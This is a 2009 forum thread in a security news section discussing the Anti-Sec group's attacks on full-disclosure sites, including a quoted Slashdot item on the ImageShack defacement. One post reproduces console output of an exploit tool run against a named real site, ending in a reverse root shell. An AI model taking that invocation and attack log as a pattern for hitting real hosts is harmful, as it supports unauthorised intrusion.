|
-
July 16th, 2009, 04:20 PM
#1
-
July 16th, 2009, 04:51 PM
#2
Script-kiddies against script-kiddies...
anti-sec:~/pwn# ./litespeed_0day -t blackhat-forums.com -p80
[+] Connecting to blackhat-forums.com:80
[+] Connected Successfully!
[+] Checking for Lightspeed vulnerability...
[+] Vulnerable!
[+] Sending exploit
[-] Phase 1
[-] Phase 2
[-] Phase 3
[+] Injecting Shellcode...
[+] Waiting for reverse shell...
[~] Connected to shell @ 74.86.203.65!
<snip>
uid=0(root) gid=0 (root) groups=0 (root)
<snip>
That's some real 1337 skills there folks.
\"Those of us that had been up all night were in no mood for coffee and donuts, we wanted strong drink.\"
-HST
-
July 16th, 2009, 05:06 PM
#3
I am not of the understanding? I must not be as uber l337 as I thought. Or I can't read.
Why would you even post that?
09:F9:11:02:9D:74:E3:5B  8:41:56:C5:63:56:88:C0
-
July 17th, 2009, 02:26 AM
#4
Why would you even post that?
For the lulz; for victory!
Last edited by The-Spec; July 17th, 2009 at 02:30 AM.
-
July 17th, 2009, 04:48 PM
#5
I am not of the understanding? I must not be as uber l337 as I thought. Or I can't read.
Ipse Dixit! 
Why would you even post that?
Because this forum happens to be called "Security News", and the fact that a new skiddies on the block group seeming to be hell bent on starting some kind of range war with full-disclosure sites is exactly what the forum title says.
That, and the fact that the target site is still down...............which indicates that it is for real and not some hoax BS?
I have noticed that you like the "let me Google that for you" answer...........perhaps you should take a leaf out of your own book and see what furore has been caused on the "darkside", before making non-contributory posts? 
For the lulz; for victory!
It was you, wasn't it ..................
-
July 17th, 2009, 05:43 PM
#6
Quote:
Why would you even post that?
Because this forum happens to be called "Security News", and the fact that a new skiddies on the block group seeming to be hell bent on starting some kind of range war with full-disclosure sites is exactly what the forum title says.
That, and the fact that the target site is still down...............which indicates that it is for real and not some hoax BS?
I have noticed that you like the "let me Google that for you" answer...........perhaps you should take a leaf out of your own book and see what furore has been caused on the "darkside", before making non-contributory posts?
I didn't take it as him referring to you nihil, but to the anti-sec group... I could be wrong though.
\"Those of us that had been up all night were in no mood for coffee and donuts, we wanted strong drink.\"
-HST
-
July 17th, 2009, 06:09 PM
#7
Well,
Let's just say that there are certain members of another site, called the "*******" or somesuch, who delight in causing trouble here.
You will know the most obvious of them because it will be in their signatures 
Pax Vobiscum
-
July 17th, 2009, 06:30 PM
#8
Greetz.
This Anti-Sec group 1st made headlines when they succesfully pwned ImageShack>
Article at SlashDot
Posted by Soulskill on Saturday July 11, @11:23AM
from the a-picture's-worth-a-couple-hundred-words-or-so dept.
"Last night a group calling themselves 'Anti-Sec' hacked ImageShack, one of the largest image hosting sites on the web, and replaced many of the site's hosted pictures with one of their own, which detailed their manifesto. The group's grievance is against full-disclosure of exploits, an issue that was debated recently after a presentation on an ATM exploit was canceled. Anti-Sec simply wants the practice within security circles to end, and they've promised to cause 'mayhem and destruction' if it doesn't. These people are taking direct aim against a sector of the IT industry that is already armed to fight the ... but they also already know that. It should be interesting to see how this plays out."
And as far as them being "Skiddies"... Well don't count on it... 
-
July 17th, 2009, 07:53 PM
#9
You're not looking at the big picture.
These people have created forums where the topic of choice is victimising internet users.
What they don't realise is that ddos attacks, spamming, defacements, and general trolling is just the sort of response the internet at large has in return.
-
July 17th, 2009, 09:09 PM
#10
 Originally Posted by dinowuff
Why would you even post that?
Dude don't get your panties in a wad. I should have said "Why would 'THEY' even post that"
It's called sarcasm and was directed at the uber l337 hax0rs post, not your link.
And as far as them being "Skiddies"... Well don't count on it...
I don't know about that. Now days even botnet servers have point and click CNC.
That's command and control (also sarcasm - but true)
Here's a link for ya Nihil
09:F9:11:02:9D:74:E3:5B  8:41:56:C5:63:56:88:C0
Similar Threads
-
By MrLinus in forum Miscellaneous Security Discussions
Replies: 9
Last Post: October 25th, 2004, 06:15 PM
-
By MrLinus in forum Miscellaneous Security Discussions
Replies: 10
Last Post: April 11th, 2004, 07:34 PM
-
By Infiltrator in forum Miscellaneous Security Discussions
Replies: 6
Last Post: June 14th, 2003, 04:19 AM
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|